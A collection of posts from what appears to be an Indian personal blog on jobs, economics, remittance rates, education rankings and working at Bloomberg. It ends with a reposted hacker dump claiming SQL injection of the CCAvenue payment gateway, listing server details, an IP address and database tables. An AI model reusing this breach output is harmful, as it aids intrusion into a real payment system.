Edunology - Saumya Aggarwal

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https://www.freshersworld.com/jobs/civil-engineer-jobs-gurgaon-carlson-research-168148



Because of decent salary quoted for freshers, for a moment I thought I will recommend it to few students. However, I decided to check the company and what I saw seems fishy, very fishy. Here are my pointers on why I thought so:

• B.tech / BBA/ B.com/ Fresher/UG
• Any Undergraduate/Graduate/Post Graduate

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Mr. Modi with much cheer became Prime Minister of biggest democracy in the world last year, entire world bowed and Indian economy finally looked to go on upward trajectory. One year after, the road looks bumpy. What has changed or is it nothing has changed, is the new government similar to previous scam hit rule, I have too many questions in my mind. Lot of experts have shared their views, here is what I think in what I call CAT.

CAT - Congress, Attitude, Time.

1. Congress - Main opposition party and previous ruling party in India seem to be blocking every thing and creating demonstrations which make little sense. They were hit by major scams during their rule but not playing constructive opposition does not seem to be doing Indian Economy any good. BJP, now ruling party has majority in Lok Sabha but needs good opposition for better world in Rajya Sabha.

2. Time - It takes time to change things in large economy like India. Previous ruling party Congress tried to bring changes however coalition government was not very successful. They did good work in first UPA tenure but lot of it got lost in second tenure (2009-14) and now with new vision and ease of good doing business, Tourism promotion, Infra push - I believe it will take atleast 2 yrs to run the growth engine at full speed.

3. Attitude - People attitude towards own nation need to change. Be more professional and do, mean more business. Instead of seeking freebies, lets play our role in constructing economy - make it more safe, work hard and do your bit for cleaning India (Swatchh Bharat Initiative).

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Well, life begins in Singapore for me. Internal transfer to look into different segment of clients and geography within Bloomberg. Singapore has been on a high start in 2015 and since I have moved I have found ways to work on social issues here which I intend to post subsequently.

Apart from finding houses, one of first thing I had to do was to remit money in India to take care of my last bills there. I checked with few NRIs here and did lot of research online, none could give me better answer than DBS or Indian Bank ICICI. I was about to go for obvious choice of DBS as ICICI has hidden charges in SGD for transfer. However I decided to do last round of check, SGD to INR rate given by many banks were way different, here is my summary.

Axis Bank: 44.9
DBS: 45.33
HDFC: 45.31
ICICI: 45.58
Remit2India: 45.45
SBI SP: 45.37
Yes Bank: 45.17 + 0.50
Kotak: 45.60

Honestly, when I loved above I could not find out why Axis Bank is even competing. DBS does remit the money instantly which is best among all offerings. ICICI on other side has transfer charges which makes it incompetent to other banks. SBI being government bank was out of list as I do not expect good service, then my eyes were caught by new generation Indian banks Kotak and Yes. Kotak upon further research made me feel that rates were different however due to promotion Yes Bank turned out to be best. I immediately filled the service application and understood they use Remit2India/Timesofmoney engine only but somehow give better rates than them. Relationship manager was quick to respond however filling the form was a pain as they did not take Singapore number correctly and IT usability was all of the place of the website. Finally the money got
transferred successfully and I am happy to have used Yes Bank.

Please share your insights on getting best exchange rates for remitting money to India.

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Decade back, there were not enough private institutions and quality education was forte of government run institutions. Now the scenario is fast changing with tons of big groups entering into private education as billion strong Indian population needs to get "Educated".

This is my first post since shifting to Singapore. Well almost settled here, I feel there is stark difference in education in Singapore and India. I came across an article in Times of India today (website) which boosts of private colleges being hub of industry interaction and placements.
The article seems to be inspired from these so called TOP education institutions making false image in front of vast reader base. Money seems to be pouring into these institutions and they are not shy to influence media with money power.

Article says "Galgotias University was also ranked as the No.1 Private University for Engineering Education in Northern India by the DataQuest Top T-Schools Survey 2014. Galgotias University is also top-ranked among India's top 20 engineering institutions - ahead of several leading NITs."
Though it is great to see new private university making it to top but it certainly raises questions on credibility of these ranking companies. I asked 2 students who are known to good friend of mine and it gave me completely different perspective.
---

Student 1: "I read the article shared by you. It makes me think that if I am among top ranked student in lets say North India and could not crack IITs, will I take admission in Galgotias? Answer is no, no top students want to go to Galgotias."

Me: I was shocked to see his reaction as it is stated to top in North India. I decided to probe further.

Students 1: He said all these rankings are fake. Thapar University is known to be great and pretty old for this reputation, how come Galgotias, which take heavy capitation and actual placement records are nowhere close to advertised one, made it to the top?


Me: Ok, may be this student is biased. Lets head to second one.

Student 2: This article is crap. My girlfriend studies in Amity and her best friend in Galgotias. Both claim to be best and in certain inspired rankings both come number 1. We need to understand why they do it - to take more money from prospective students claiming to be best as they do not make much money through normal meritocratic route. Placements figures are fudged and sometimes companies are paid to come to institutions to pick students. The entire industry is running on IT boom where even sweepers need to be engineers.
---Article in contention is http://timesofindia.indiatimes.com/home/education/news/How-do-premium-private-universities-achieve-near-complete-placements/articleshow/46039404.cms

Please do not pay heed to such articles and make an informed decision by what I call 2 way approach (CP Approach):

1. C: Current Student: Talk to current students to take complete stock of the institute situation and its practices. It is very easy

2.  P: Past Student: Check out LinkedIn for past students in terms of profile and work organizations. Also check if anyone became a genuine entrepreneur (not joining his dad's company).

Don's get me wrong, I do believe that private education can or rather have made an impact but boastful marketing is not in benefit of society. 
Everyone has seen full pagers ads stating better than IITs, IIMs on consistent basis. I think media should play constructive role in educating masses about quality of education and where to find one. Capitation is one of by product of privatization and state government should take over admission process to ensure quality is accessed on meritocracy and black money is not involved.

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Last year, Indian Government had made it mandatory to e-file income tax returns for assesses with an annual income of Rs 10 lakh and above. This time, the government the plan is to do the same for taxpayers with a taxable income above Rs 5 lakh.

The reason behind the move, said officials, was the fact that about 80 per cent of taxpayers who are not mandated to file e-returns are already doing so. There are 35 million taxpayers, of which about 1.8 million fall in the income tax slab of Rs 5-10 lakh. A similar number are in the above Rs 10 lakh category. 16 million people who electronically filed their returns last year, many had a taxable income of less than Rs 10 lakh.

The tax department was earlier expecting electronic returns to go up to 20 million this year. With this new provision, the number could go up further. E-filing will also enable faster processing of refunds.

Few pointers:

1. Don't panic: It is very simple to file returns online. If you are not comfortable, approach your Chartered Accountant.

2. No Digital signatures are required for filing online, you just need the send the online acknowledgement with signature to Income Tax department.

3. 5 Lakhs does not mean your CTC. It is net taxable income after deducting LTA, HRA, Medical etc.

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Who is the real culprit in increasing rape cases across India?

I just came back from hectic official trip of Chennai and Pondicherry. On the airport, happened to meet four gentlemenWe all had ample time as Air India flights are always delayed. I asked if Air India has any another flight for me, answer given was flight is only 1 hours and 15 minutes delayed. Anyways, these four people, one is from Mumbai, second is from Rajasthan and other two others from Kerala. They all work in Mumbai for multinational companies. Over coffee, we happened to discuss the recent forgetable Delhi rape incident. For confidential purposes, not disclosing names and companies of our four friends.

Here is the summary of conversation:

1. Strangely all were of the opinion that girl was at fault too. She should not have stepped out during late hours in country like India irrespective of a particular city.

2. Indian society is backward and still girls are not given equal status. They acknowledged education, old mind set and unequal money distribution playing major roles.

3. All agreed that women are not safe in any part of India. Though they felt Mumbai is better despite most corrupt police system in the country. They ranked Bangalore as best city to live in India.

4. Rapists according of them have done extremely bad act and should be hanged till death. Congress government which has been ruling India majorly in last 60 years is also main culprit for such divided society.

5. Laws are present in India but police is only interested in money and not protecting such laws.



I do not agree to few statements. Girl was not at fault at all, everyone has right to roam freely. We need laws that do not accept such incidences at all, rapists should be hanged till death and most importantly implementation of them. We as society need to rise, codemn people since beginning and not let such shameful events happen in India.

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Reserve Bank of India kept key Repo and Reverse Repo unchanged today in its announcement. However, it decided to cut Cash Reserve Ratio by 25 basis points to 4.5% in its mid quarter review of the monetary policy on Monday. CRR is the minimum proportion of deposits that banks must hold with the central bank. The CRR reduction is expected to inject Rs 17,000 crore liquidity into the banking system.

Effects Analysis:

1. G-Sec Yield

Immediate - Indian Government Bond 8.15% 06/11/22 which is current 10 Yr Treasury note yields shot up after the annoucement.

Medium term: Yields can soften a bit on shorter end of the curve going forward.

2. The country's largest bank, State Bank of India has slashed interest rate on select retail loans including home and auto loans. Private sector banks like ICICI Bank, HDFC Bank and Axis Bank have reduced their deposit rates by upto 50 basis point.

3. The 25bps CRR cut would boost bank profitability by Rs2,000 crore, much higher than Rs75 cr cost reduction that a 25bps repo rate cut would have effected

Note: Screenshot is GIY screen of Bloomberg and data shown in it is property of Bloomberg L.P.

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What is Indian Retail market shape?

Predominately, The Indian retail sector is unorganised. It consists of "kirana" stores or small stores in every corner of the road. They are typically managed by single owner or family members. These are pan shops, general stores, convenience stores and multi commodity vendors.

FDI in Retail Approval

Henry Ford, the genius inventor once famous said,"Don't find fault, find a remedy”. Is it the mantra followed by Congress, mind you not UPA as all parties are not together on FDI. India’s Cabinet unveiled plans to liberalize foreign direct investment in a broad range of sectors including multi-brand retail, a move that could allow foreign supermarkets into the country.

For many, this is seen as bold move from scam ridden government, indicating slowing economy might actually take Congress ultimate seat from New Delhi.

Different perspectives

Adi Godrej, president of the Confederation of Indian Industry, welcomed the move and said publicly government has “restarted the reform process.” He further added this is a major step in the right direction and “this will not only end a long standing uncertainty in policy making but also boost investors’.

R.V. Kanoria, the president of the Federation of Indian Chambers of Commerce and Industry, said  FDI in retail announcement “reflects the resolve of the government to usher in a retail revolution in the country and also signal to the investor community that India is committed to furthering reforms.” He said this move will infuse new technology and help improve supply-chain infrastructure.

Kishore Biyani, managing director of Pantaloon Retail (India) Ltd ., the country’s biggest retailer by market capitalization and sales, said: “The opening up of the multi-brand sector to foreign direct investment will provide us opportunities to bring in foreign investors in various business like our home retail, electronic retail, food retail businesses.”

Leading consultancy firm, PricewaterhouseCoopers India, estimates that opening up the retail sector will lead to significant improvement of supply-chain infrastructure, which will help reduce food waste by 30% to 40%.

Mukhtar Abbas Naqvi, a spokesman for the main opposition Bharatiya Janata Party, bashed Congress move by saying FDI will hurt small traders.  “We are in favor of reforms but such reforms will not help our troubled economy. Unfortunately the government is not sensitive to small businesses that will be adversely affected by this move. They seem to have rushed into this decision without much thought,” added Mr. Naqvi.

My view on FDI:

- Organized players will rope in huge investments which will help India in longer run as "kirana" shops can not put such massive investments.

- Significant improvement in supply chain infrastructure which will eliminate wastages and enhance operational efficiencies.

- It will create millions of jobs from front end to back end helping youth getting food at end of the day.

- Various middlemen will be made ridundent and hence farmers & end consumers would be happy.

- These organised relatiers are registered hence pay sales tax, income tax, octroi and other government duties which will boost government revenue (which can ulitised for India's growth if Congress alliances do not end up eating all of the money through corruption).

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The power grid collapsed because some states apparently drew more power than they were authorised to do to meet the rising demand during the summer, said chairman of the state-run Uttar Pradesh state Power Corporation Avinash Awasthi. The power deficit was worsened by a weak monsoon that lowered hydroelectric generation and kept temperatures high, feeding the appetite for electricity.


Weak Monsoon: Farmers have now started using energy-intensive water pumps for irrigation to save their recently sown crops which pushed up demand. Also, hydro-power accounts for about 20 per cent of installed power capacity but reservoirs have only 24 per cent of the water they can hold -- just about half of what they carried at this time last year.

Politics: Many state governments give farmers free or near-free electricity, triggering a vicious cycle. The policy of selling electricity to consumers at politically correct prices is making the things worse.

Coal Supply: Coal shortage also chose the right time to trigger the crisis. The industry has advocated abolishing a 1973 Act that nationalised coal mining. Changes to the law are expected to allow professional miners to scout for and mine coal.

Distribution: The government-owned distribution monopolies in the states have all but lost their ability to buy power because their political bosses force them to sell it cheap, sometimes free, to voters. This opportunism is hurting the economy: the government estimates unaccounted for sale of power in India, at a third of the total, costs the country 1% of its gross domestic product.

The road ahead

Introduce competition in all three areas of the business - generation, transmission and distribution - to enhance productivity and contain leakages. Create an independent watchdog that can withstand the political pressures playing on different links of the nation's power supply chain.

Finally, free up pricing to make consumers more responsible for the electricity they use. This has been the broad course of electricity reforms the world over.

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Earlier this week, ratings agency Standard and Poor's raised concerns over India's investment grade ratings and said India could be first BRIC nation to lose this grade status. This event was rather predicted as India factory output data came flat in April. I am not a big fan of S&P or Moody ratings, this reminds me how they failed during 2008 crisis to correctly rate derivatives instruments. If they can't rate few instruments, how can they rate giant economies. Having said this, I would concentrate not on rating agencies but mainly on Indian economy.

Recently, I heard one of friend said "India is destined to grow but China is determined to grow". I thought a lot about this statement, checking the growth of other BRICs. China and Brazil both have slowed but India's GDP figures are the worst in last 9 years. It gives me a feel that "All is not well".  I analyzed the situation mainly from three points:

1. Government failure since 1991 Liberalization: India was thought to grow due to its large customer base, high savings and foreign investment that would come up. A deeper look suggest that India was growing at 6% till mid 1980s and situation today is not different. With quarter ending March, growth was 5.3% as opposed to expected 6%. People who were involved in liberalization are considered to be GOD and VISIONARIES but rather than this, India grew on human optimism.

2.  Finances: Rupee depreciation to 55-56 level, depressed government bond yield and high gross bad debts with restructured loans in Banks. RBI firepower is limited to push up rupee, but we still feel decent as oil prices went down luckily. Brent is trading in range of 81-83 dollars a barrel. Banks are forced to buy government bonds, more borrowing means corporates can not raise much.

 3. Politics and corruption: Baba Ramdev estimates 10 lakh crores of Indian black money sitting abroad. This much money can not be made by fair practices and made to sit idle in a foreign land. Policy is at complete standstill, coalition government is unable to pass key reforms of FDI. Over 10 lakh crores of government revenue was sacrificed by ManMohan Singh for coal blocks. Reason given by his government was we want poor to benefit, I believe if this was the intention then government should have taken this money and distributed to poor by creating more true jobs. All knows how much money in getting looted by UPA flagship money making scheme of NREGA (National Rural Employment Guarantee Act).

Perhaps India will bounce back. And if that doesn't happen, there could be a miracle where public rise to the occassion and excercise right to vote and throw out this corrupt government. I am still bullish about India, remember "India is destined to grow" and would bet my money on it. Hopefully the small pieces of growth & economy will start coming togther sooner than later.

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Notwithstanding opposition from telecom operators, the Telecom Regulatory Authority of India (TRAI) has made it clear that it is not going to withdraw its move to restrict SMS to 100 per day per SIM for all subscribers. The restriction on SMS, however, will not be applicable on festival days such as Diwali and Eid.

The cap has already been effective from 27 Septembet, 2011.

My view:

The move will not go down well with the operators. But does anyone care? Not really, apart from youths who have been trained to do heavy texting by pesky operators, nobody should complaint. Personally, now I wake up without junk sms of real estate developers and marketing company messages selling only the things that I do not require.

Bottomline: Very bold move by TRAI and would be respected by many than otherwise.

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Its been month and half that I joined Bloomberg LP in Mumbai. Both Mumbai and Bloomberg have been fantastic. Since I was trying to settle down, I could not blog much. But I assure more blog posts with more industry trends and insights.

Coming to Bloomberg, a life worth living. Trust me, its one of the best organization to work for. Be its luxurious pantry serving soft drink, maggi, chocolates, breakfast, lunch (all for free!!) or its great training, parties (one international also per year), I love it all. I am bound to gain 15 pounds but does it matter? Nah...

Well I have joined into Analytics department which has opened for first time in India and I feel its a great opportunity to set the benchmark. We have great office which is appreciated by all visitors. The greatness of this organization lies in its transparency and trust on employees. Bloomberg commands respect from employees. During recent very unfortunate Mumbai blasts, Bloomberg called each employee in Mumbai from New York to make sure if they are fine and require any assistance.

When I came to Bloomberg, I met few of the best brains. I tried to figure out a name for Bloomberg employees, like trippers for makemytrip, infosians for Infosys but I could not find one. I feel its great opportunity for me to propose a name through this post. After thinking of Bloombergers, Booms, Boomers, I zeroed upon to "Bloomers". Your suggestions and comments are welcome.

In India, Bloomberg has tie-up with UTV for Bloomberg UTV new channel and Bloomberg India. Bloomberg India is indian part of Bloomberg LP which is world leader for financial data., news and analytics. We primarily make Bloomberg terminal.



I will keep on writing about my days in Bloomberg. I wish to summarize this organization by saying "Its Bloomberg!" because nothing else match.

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******************************************************************
(+) Authors : d3hydr8
(+) WebSite : darkode.com
(+) Date    : 04.05.2011
(+) Hour    : 15:15 PM
(+) Targets : CCAvenue.com (Payment Gateway)
(+) Document: ESA.int Full Disclosure (Hacked)
(+) Method  : Hidden SQL Injection
******************************************************************
[ + ] USER ()                         : iusr_ccavenueiusr_ccavenue
[ + ] S_USER ()                    : iusr_ccavenue
[ + ] DB_NAME ()              : gateway
[ + ] HOST_NAME ()         : AV-2
[ + ] SERVER_NAME ()   : AVDB-3
[ + ] SERVER_TYPE ()     : Apache/2.2.14 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 mod_jk/1.2.28
[ + ] X-POWERED-By ()    : Servlet 2.5; JBoss-5.0/JBossWeb-2.1
[ + ] IP_ADDRESS_INFO  : 124.153.83.27
———————————————————————————————————-
[ + ] Displaying list of databases on this MSSQL host !
[ DATABASE: 0 ]        : gateway
[ DATABASE: 1 ]        : master
[ DATABASE: 2 ]        : tempdb
[ DATABASE: 3 ]        : model
[ DATABASE: 4 ]        : msdb
[ DATABASE: 5 ]        : Reseller
———————————————————————
[ DATABASE: 0 ]        : gateway
[ + ] Displaying Tables inside DB:
[ TABLES: 0 ]          : addl_merchant_details
[ TABLES: 1 ]          : admin_details
[ TABLES: 2 ]          : Admn_dept_roles
[ TABLES: 3 ]          : Admn_depts
[ TABLES: 4 ]          : Admn_prvlg_grps
[ TABLES: 5 ]          : Admn_prvlgs
[ TABLES: 6 ]          : Admn_role_prvlgs
[ TABLES: 7 ]          : Admn_roles
[ TABLES: 8 ]          : Admn_user_prvlgs
[ TABLES: 9 ]          : Admn_users
[ TABLES: 10 ]          : amex_cc_details
[ TABLES: 11 ]          : AMEX_CCDETAILS
[ TABLES: 12 ]          : amex_mer_details
[ TABLES: 13 ]          : amtShopperCart
[ TABLES: 14 ]          : amtShopperCart_MMT
[ TABLES: 15 ]          : auctionPayment
[ TABLES: 16 ]          : Auto_cancel
[ TABLES: 17 ]          : Bop_bank
[ TABLES: 18 ]          : callcenter_user_login_history
[ TABLES: 19 ]          : ccav_default_charges
[ TABLES: 20 ]          : Ccav_genid
[ TABLES: 21 ]          : Ccav_links
[ TABLES: 22 ]          : ccav_merchant_options
[ TABLES: 23 ]          : ccav_payout_allocated_keys
[ TABLES: 24 ]          : ccav_payout_credit_logs
[ TABLES: 25 ]          : ccav_payout_credits
[ TABLES: 26 ]          : ccav_payout_credits_realtime_
[ TABLES: 27 ]          : ccav_payout_debits
[ TABLES: 28 ]          : ccav_payout_debits_realtime_bkp
[ TABLES: 29 ]          : ccav_payout_details
[ TABLES: 30 ]          : ccav_payout_details_10MAY2010
[ TABLES: 31 ]          : ccav_payout_details_10OCT2010
[ TABLES: 32 ]          : ccav_payout_details_12AUG2010
[ TABLES: 33 ]          : ccav_payout_details_temp
[ TABLES: 34 ]          : ccav_payout_summaries_10MAY2010
[ TABLES: 35 ]          : ccav_payout_summaries_10OCT2010
[ TABLES: 36 ]          : ccav_payout_summaries_12AUG2010
[ TABLES: 37 ]          : ccav_payout_summaries_temp
[ TABLES: 38 ]          : ccav_pending_authorizations
[ TABLES: 39 ]          : ccav_pending_authorizations_20100918
[ TABLES: 40 ]          : ccav_pending_authorizations_20100924
[ TABLES: 41 ]          : ccav_recon_sheets
[ TABLES: 42 ]          : ccav_recon_sheets_20100918
[ TABLES: 43 ]          : ccav_recon_sheets_20100924
[ TABLES: 44 ]          : Ccav_sms_providers
[ TABLES: 45 ]          : CCAV_tracking_ids
[ TABLES: 46 ]          : CCAV_tracking_ids_20100918
[ TABLES: 47 ]          : ccav_tracking_ids_20100924
[ TABLES: 48 ]          : ccav_trans_status_logs
[ TABLES: 49 ]          : CCAV_transactions
[ TABLES: 50 ]          : CCAV_transactions_20100918
[ TABLES: 51 ]          : ccav_transactions_20100924
[ TABLES: 52 ]          : CCAV_transactions_logs
[ TABLES: 53 ]          : CCAV_transactions_logs_20100918
[ TABLES: 54 ]          : ccav_transactions_logs_20100924
[ TABLES: 55 ]          : ccav_transactions_realtime_bkp
[ TABLES: 56 ]          : ccavenue_scheduler_logs
[ TABLES: 57 ]          : centurion_debit
[ TABLES: 58 ]          : Chrc_contact_dets
[ TABLES: 59 ]          : Chrc_contact_dets_20100918
[ TABLES: 60 ]          : Chrc_feedback_dets
[ TABLES: 61 ]          : Chrc_feedback_dets_20100918
[ TABLES: 62 ]          : Chrc_reasons
[ TABLES: 63 ]          : Chrc_reasons_20100918
[ TABLES: 64 ]          : Chrc_srch_dets
[ TABLES: 65 ]          : Chrc_srch_dets_20100918
[ TABLES: 66 ]          : Citi_TxtLog_Child
[ TABLES: 67 ]          : Citi_TxtLog_Parent
[ TABLES: 68 ]          : citibank_cc_details
[ TABLES: 69 ]          : citibank_log
[ TABLES: 70 ]          : citibank_wkey
[ TABLES: 71 ]          : COMMISSION
[ TABLES: 72 ]          : Commission_log
[ TABLES: 73 ]          : countries
[ TABLES: 74 ]          : country
[ TABLES: 75 ]          : country_ip
[ TABLES: 76 ]          : cpa_20100924
[ TABLES: 77 ]          : crs_20100924
[ TABLES: 78 ]          : ct_20100918
[ TABLES: 79 ]          : ct_20100924
[ TABLES: 80 ]          : ct_20101005
[ TABLES: 81 ]          : ctl_20100924
[ TABLES: 82 ]          : custShopCart
[ TABLES: 83 ]          : custShopCart_20100918
[ TABLES: 84 ]          : custshopcart_20100924
[ TABLES: 85 ]          : custShopperCart
[ TABLES: 86 ]          : DB_SCHEMA
[ TABLES: 87 ]          : Deprecated_Payment_Invoice
[ TABLES: 88 ]          : Deprecated_Payment_Invoice_Logs
[ TABLES: 89 ]          : Dr_Cr_Notes
[ TABLES: 90 ]          : dtproperties
[ TABLES: 91 ]          : dummy_shopper_details
[ TABLES: 92 ]          : Error_logs
[ TABLES: 93 ]          : FAQ
[ TABLES: 94 ]          : fc_20100924
[ TABLES: 95 ]          : federal_bank
[ TABLES: 96 ]          : fraud_category
[ TABLES: 97 ]          : fraud_check
[ TABLES: 98 ]          : fraud_check_20100918
[ TABLES: 99 ]          : fraud_check_20100924
[ TABLES: 100 ]          : fraud_SubCategory
[ TABLES: 101 ]          : fraudCategory
[ TABLES: 102 ]          : gatewayList
[ TABLES: 103 ]          : Gen_cities
[ TABLES: 104 ]          : Gen_countries
[ TABLES: 105 ]          : Gen_states
[ TABLES: 106 ]          : gtb_bank
[ TABLES: 107 ]          : Gtw_activities
[ TABLES: 108 ]          : gtw_countries
[ TABLES: 109 ]          : gtw_regions
[ TABLES: 110 ]          : hdfc_debit
[ TABLES: 111 ]          : high_risk_con
[ TABLES: 112 ]          : icici_bank
[ TABLES: 113 ]          : ICICI_CC_DETAILS
[ TABLES: 114 ]          : idbi_bank
[ TABLES: 115 ]          : InvoiceDetails_logs
[ TABLES: 116 ]          : IVRS_CallCenter_ActiveHistory
[ TABLES: 117 ]          : IVRS_CallCenter_Users
[ TABLES: 118 ]          : JCB_CCDETAILS
[ TABLES: 119 ]          : jiaozhu
[ TABLES: 120 ]          : liveGateways
[ TABLES: 121 ]          : log_details
[ TABLES: 122 ]          : M_activities
[ TABLES: 123 ]          : M_activity_logs
[ TABLES: 124 ]          : Mall_categories
[ TABLES: 125 ]          : Mall_webstores
[ TABLES: 126 ]          : Mall_webstores_categories
[ TABLES: 127 ]          : Master_Bin
[ TABLES: 128 ]          : merchant_bank_details
[ TABLES: 129 ]          : merchant_bank_details_20100918
[ TABLES: 130 ]          : merchant_bank_details_20100924
[ TABLES: 131 ]          : Merchant_bank_details_bkup
[ TABLES: 132 ]          : merchant_follow_ups
[ TABLES: 133 ]          : merchant_follow_ups_20100918
[ TABLES: 134 ]          : merchant_follow_ups_20100924
[ TABLES: 135 ]          : merchant_ivrs_options
[ TABLES: 136 ]          : MERCHANT_PAGE_CUSTOMIZE
[ TABLES: 137 ]          : merchant_pay_mode
[ TABLES: 138 ]          : merchant_pay1
[ TABLES: 139 ]          : merchant_pay1_20100918
[ TABLES: 140 ]          : merchant_recon
[ TABLES: 141 ]          : MERCHANT_REGISTRATION
[ TABLES: 142 ]          : MERCHANT_REGISTRATION_20100918
[ TABLES: 143 ]          : merchant_registration_20100924
[ TABLES: 144 ]          : MERCHANT_REQS
[ TABLES: 145 ]          : MERCHANT_REQS_20100918
[ TABLES: 146 ]          : merchant_reqs_20100924
[ TABLES: 147 ]          : merchant_upload_options
[ TABLES: 148 ]          : ncm_risk_analysis
[ TABLES: 149 ]          : nodal_bank_payouts
[ TABLES: 150 ]          : nodal_bank_payouts_10MAY2010
[ TABLES: 151 ]          : nodal_bank_payouts_10OCT2010
[ TABLES: 152 ]          : nodal_bank_payouts_12AUG2010
[ TABLES: 153 ]          : order_details
[ TABLES: 154 ]          : panb_20100924
[ TABLES: 155 ]          : panbl_20100924
[ TABLES: 156 ]          : pangolin_test_table
[ TABLES: 157 ]          : pay_data
[ TABLES: 158 ]          : pay_list
[ TABLES: 159 ]          : payment_codes
[ TABLES: 160 ]          : payment_details
[ TABLES: 161 ]          : payment_details_20100918
[ TABLES: 162 ]          : pci_20100924
[ TABLES: 163 ]          : PG_activities
[ TABLES: 164 ]          : PG_all_net_bank_logs
[ TABLES: 165 ]          : PG_all_net_bank_logs_20100918
[ TABLES: 166 ]          : PG_all_net_banks
[ TABLES: 167 ]          : PG_all_net_banks_20100918
[ TABLES: 168 ]          : PG_amex_tran_details
[ TABLES: 169 ]          : PG_amex_transactions
[ TABLES: 170 ]          : PG_bank_card_types
[ TABLES: 171 ]          : pg_bob_bank
[ TABLES: 172 ]          : PG_bps_tran_details
[ TABLES: 173 ]          : PG_bps_trans
[ TABLES: 174 ]          : PG_canb_tran_details
[ TABLES: 175 ]          : PG_canb_tran_details_20100918
[ TABLES: 176 ]          : PG_canb_tran_details_20100924
[ TABLES: 177 ]          : PG_canb_trans
[ TABLES: 178 ]          : PG_canb_trans_20100918
[ TABLES: 179 ]          : PG_canb_trans_20100924
[ TABLES: 180 ]          : PG_card_details
[ TABLES: 181 ]          : PG_card_details_20100918
[ TABLES: 182 ]          : pg_card_details_20100924
[ TABLES: 183 ]          : pg_card_details_bkp
[ TABLES: 184 ]          : PG_card_details_linux
[ TABLES: 185 ]          : PG_cc_log
[ TABLES: 186 ]          : PG_citibank_inr_files
[ TABLES: 187 ]          : PG_citibank_inrs
[ TABLES: 188 ]          : PG_citibank_inrs_20100918
[ TABLES: 189 ]          : PG_citibank_inrs_logs
[ TABLES: 190 ]          : PG_citibank_inrs_trans
[ TABLES: 191 ]          : PG_citibank_inrs_trans_20100918
[ TABLES: 192 ]          : PG_COMM_BANKS
[ TABLES: 193 ]          : PG_comm_merchants
[ TABLES: 194 ]          : PG_cop_bank
[ TABLES: 195 ]          : PG_cop_bank_20100918
[ TABLES: 196 ]          : pg_cust_debit_details
[ TABLES: 197 ]          : pg_cust_debit_details_20100918
[ TABLES: 198 ]          : pg_customer_bank_acc_no
[ TABLES: 199 ]          : pg_customer_bank_acc_no_20100918
[ TABLES: 200 ]          : PG_eca_net_bank_logs
[ TABLES: 201 ]          : PG_eca_net_banks
[ TABLES: 202 ]          : PG_gateway_param_logs
[ TABLES: 203 ]          : PG_gateway_params
[ TABLES: 204 ]          : PG_gateways
[ TABLES: 205 ]          : PG_hdfc_tran_details
[ TABLES: 206 ]          : PG_hdfc_trans
[ TABLES: 207 ]          : PG_icici_tran_details
[ TABLES: 208 ]          : PG_icici_tran_details_20100918
[ TABLES: 209 ]          : PG_icici_trans
[ TABLES: 210 ]          : PG_icici_trans_20100918
[ TABLES: 211 ]          : PG_icici_trans_20100924
[ TABLES: 212 ]          : pg_icicimigs_tran_details
[ TABLES: 213 ]          : pg_icicimigs_trans
[ TABLES: 214 ]          : PG_itz_tran_details
[ TABLES: 215 ]          : PG_itz_tran_details_20100918
[ TABLES: 216 ]          : PG_itz_tran_details_20100924
[ TABLES: 217 ]          : PG_itz_trans
[ TABLES: 218 ]          : PG_itz_trans_20100918
[ TABLES: 219 ]          : PG_itz_trans_20100924
[ TABLES: 220 ]          : PG_kvb_bank
[ TABLES: 221 ]          : pg_kvb_bank_20100918
[ TABLES: 222 ]          : pg_lvb_bank
[ TABLES: 223 ]          : PG_maxmind
[ TABLES: 224 ]          : PG_Merchant_Gateway_Params
[ TABLES: 225 ]          : PG_Merchant_Gateways
[ TABLES: 226 ]          : PG_merchant_options
[ TABLES: 227 ]          : PG_mobile_details
[ TABLES: 228 ]          : PG_net_bank_logs
[ TABLES: 229 ]          : PG_net_bank_logs_20100918
[ TABLES: 230 ]          : PG_net_banks
[ TABLES: 231 ]          : PG_net_banks_20100918
[ TABLES: 232 ]          : PG_net_indus_logs
[ TABLES: 233 ]          : PG_net_indus_logs_20100918
[ TABLES: 234 ]          : PG_net_indus_logs_20100924
[ TABLES: 235 ]          : PG_net_kotak_ref_files
[ TABLES: 236 ]          : PG_net_kotak_refs
[ TABLES: 237 ]          : PG_net_kotak_responses
[ TABLES: 238 ]          : PG_net_kotak_responses_20100918
[ TABLES: 239 ]          : PG_net_kotak_responses_20100924
[ TABLES: 240 ]          : PG_oss_done_card_tran_details
[ TABLES: 241 ]          : PG_oss_done_card_trans
[ TABLES: 242 ]          : PG_oss_rds_tran_details
[ TABLES: 243 ]          : PG_oss_rds_trans
[ TABLES: 244 ]          : PG_paygate_tran_details
[ TABLES: 245 ]          : PG_paygate_tran_details_20100918
[ TABLES: 246 ]          : PG_paygate_transactions
[ TABLES: 247 ]          : PG_paygate_transactions_20100918
[ TABLES: 248 ]          : PG_paygate_transactions_20100924
[ TABLES: 249 ]          : PG_paymate_tran_details
[ TABLES: 250 ]          : PG_paymate_tran_details_20100918
[ TABLES: 251 ]          : PG_paymate_tran_details_20100924
[ TABLES: 252 ]          : PG_paymate_trans
[ TABLES: 253 ]          : PG_paymate_trans_20100918
[ TABLES: 254 ]          : PG_paymate_trans_20100924
[ TABLES: 255 ]          : PG_pex_tran_details
[ TABLES: 256 ]          : PG_pex_trans
[ TABLES: 257 ]          : PG_pnb_bank
[ TABLES: 258 ]          : PG_pnb_bank_20100918
[ TABLES: 259 ]          : PG_sbi_net_bank_logs
[ TABLES: 260 ]          : PG_sbi_net_bank_logs_20100918
[ TABLES: 261 ]          : PG_sbi_net_banks
[ TABLES: 262 ]          : PG_sbi_net_banks_20100918
[ TABLES: 263 ]          : PG_tc_logs
[ TABLES: 264 ]          : PG_transaction_details_temp_old
[ TABLES: 265 ]          : PG_uni_bank
[ TABLES: 266 ]          : PG_uni_bank_20100918
[ TABLES: 267 ]          : pg_uti_tran_details
[ TABLES: 268 ]          : pg_uti_tran_details_20100918
[ TABLES: 269 ]          : pg_uti_tran_details_20100924
[ TABLES: 270 ]          : pg_uti_trans
[ TABLES: 271 ]          : pg_uti_trans_20100918
[ TABLES: 272 ]          : pg_uti_trans_20100924
[ TABLES: 273 ]          : PG_visa_mpi
[ TABLES: 274 ]          : pit_20100924
[ TABLES: 275 ]          : pitd_20100924
[ TABLES: 276 ]          : pnb_20100924
[ TABLES: 277 ]          : pnbl_20100924
[ TABLES: 278 ]          : pptd_20100924
[ TABLES: 279 ]          : productMaster
[ TABLES: 280 ]          : productOptions
